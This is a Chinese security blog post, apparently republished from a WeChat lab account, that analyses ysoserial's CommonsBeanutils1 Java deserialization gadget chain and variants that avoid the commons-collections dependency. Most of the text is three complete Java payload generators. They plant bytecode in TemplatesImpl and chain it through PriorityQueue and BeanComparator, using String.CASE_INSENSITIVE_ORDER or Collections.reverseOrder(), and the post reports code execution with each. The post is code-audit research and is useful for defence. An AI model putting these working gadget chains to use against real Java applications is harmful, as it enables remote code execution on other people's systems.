点击蓝字,关注我们
日期:2024-03-11 作者:ICDAT 介绍:这篇文章主要是对 ysoserial CB1
的无依赖反序列化无利用链进行分析。
0x00 前言
我们上一篇文章分析了ysoserial
中的cb1
的反序列化利用链,其在shiro
反序列化中很常见。今天我们来分析一下ysoserial CB1
的无依赖反序列化利用链。
0x01 CB1 的依赖
我们在CB1
利用链的环境搭建的时候提到了在maven
中添加commons-beanutils
时,自动导入了commons-collections:3.2.1
包。而在后续的反序列化利用链构造过程中,哪里存在commons-collections
包的调用呢?
我们直接来看上一篇文章我们自己写的payload
:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CB1 {
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("target/classes/Test.class"));
Object templates = new TemplatesImpl();
//通过反射对私有变量进行赋值
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytes});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"123123");
BeanComparator comparator = new BeanComparator();
//初始化队列并添加元素
PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = comparator.getClass().getDeclaredField("property");
iMethodName.setAccessible(true);
iMethodName.set(comparator,"outputProperties");
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue,new Object[]{templates,templates});
serialize(priorityQueue);
deserialize();
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
哎?打眼一看,哪有commons-collections:3.2.1
包的引用呢?
这还得细说,主要还是在BeanComparator comparator = new BeanComparator();
这里出了问题。
查看BeanComparator
类的构造方法:
观察就会发现BeanComparator
类偷懒,虽然存在无参构造,但是调用了第二个构造方法,而第二个构造方法又调用了第三个构造方法!总而言之,构造方法都是基于第三个构造方法。
commons-collections:你离不开我~
BeanComparator:-_-!!
这里补充一些java
知识。
在Java中,当给一个类创建了多个构造方法时,有时想在一个构造方法中调用另一个构造方法以减少代码量。这时可以使用this关键字来实现。
而第三个构造方法中,ComparableComparator
类来自于commons-collections:3.2.1
包。这样就破案了,都是构造方法惹的祸。
大家可能会有一个疑问,commons-beanutils
不是自带commons-collections
包吗?不需要无依赖啊。
这个锅得commons-collections
自己来背,你自己没有点数吗?光CC1
-CC7
都多少条利用链了。所以在开发过程中,commons-collections
包可能被删除或禁用了,所以我们需要在commons-beanutils
找到无commons-collections
依赖的反序列链。
0x02 BeanComparator的替代
前面提到了BeanComparator
的构造方法都使用了commons-collections
包,所以我们需要找到BeanComparator
的替代品。
这个问题好像回到了CB1
的构造的问题上:
反序列化利用链的尾部是通过调用TemplatesImpl
的newTransformer()
方法执行任意代码,头部通过PriorityQueue
类的readObject
进入,进而执行siftDownUsingComparator()
方法调用compare
方法,最终通过PropertyUtils.getProperty()
触发代码执行。
我们需要一个中间类进行连接,在CB1
链中是BeanComparator
。而现在的它的替代品需要和BeanComparator
一样的功能。
-
实现
Serializable
接口 -
实现
Comparator
接口
0x03 CaseInsensitiveComparator
我们在找寻BeanComparator
替代品的时候,发现BeanComparator
确实很香,要是不存在commons-collections
依赖就可以构造BeanComparator
类就好了。
我们再好好看一下构造方法:
发现这里是存在判断的,我们让comparator
不为null
不就行了。
于是师傅们找到了CaseInsensitiveComparator
。
全局搜索CaseInsensitiveComparator
,其在java.lang.String
中。
且CaseInsensitiveComparator
符合我们前面提到的要求。
所以直接在CB1
的payload
基础上,修改BeanComparator
的构造方法即可。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CB1Test1{
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("target/classes/Test.class"));
Object templates = new TemplatesImpl();
//通过反射对私有变量进行赋值
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytes});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"123123");
BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
//初始化队列并添加元素
PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = comparator.getClass().getDeclaredField("property");
iMethodName.setAccessible(true);
iMethodName.set(comparator,"outputProperties");
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue,new Object[]{templates,1});
serialize(priorityQueue);
deserialize();
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
直接运行,发现报错,提示参数类型错误。
我们进行调试,发现错误原因在BeanComparator
类的internalCompare
方法中。
因为我们在向priorityQueue
中add
元素的时候,没有设置property
的值,在添加第二个元素的时候,触发compare
方法,通过判断进入了internalCompare
方法。
而其进行比较的类限制为String
,这跟我们在初始化BeanComparator
过程中我们传入的String.CASE_INSENSITIVE_ORDER
有关。
CaseInsensitiveComparator
类存在compare
方法,限制了string
类型。
我们在priorityQueue
传入两个字符进行比较,成功弹窗。
0x04 java.util.Collections$ReverseComparator
根据前面的思路,师傅们还找到另一个替代品:ReverseComparator
。其在java.util.Collections
中。
同样符合我们的要求。
通过Collections.reverseOrder()
可获取一个ReverseComparator
对象。
同前面的一样,修改代码,运行成功弹窗。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Collections;
import java.util.PriorityQueue;
public class CB1Test2{
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("target/classes/Test.class"));
Object templates = new TemplatesImpl();
//通过反射对私有变量进行赋值
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytes});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"123123");
BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
//初始化队列并添加元素
PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
priorityQueue.add(1);
priorityQueue.add(1);
Field iMethodName = comparator.getClass().getDeclaredField("property");
iMethodName.setAccessible(true);
iMethodName.set(comparator,"outputProperties");
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue,new Object[]{templates,1});
serialize(priorityQueue);
deserialize();
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
注意上面的代码,发现我们往PriorityQueue
类对象add
是Integer
类型,因为ReverseComparator
的compare
方法,未做类型限制。
0x05 结语
CB1
无依赖反序列化链的分享,但是其实CB1
链还存在其他变种,但涉及到了其他方向的序列化,等后续再慢慢学习。往期回顾
点此亲启
原文始发于微信公众号(宸极实验室):『代码审计』ysoserial CB1 无依赖反序列化利用链分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论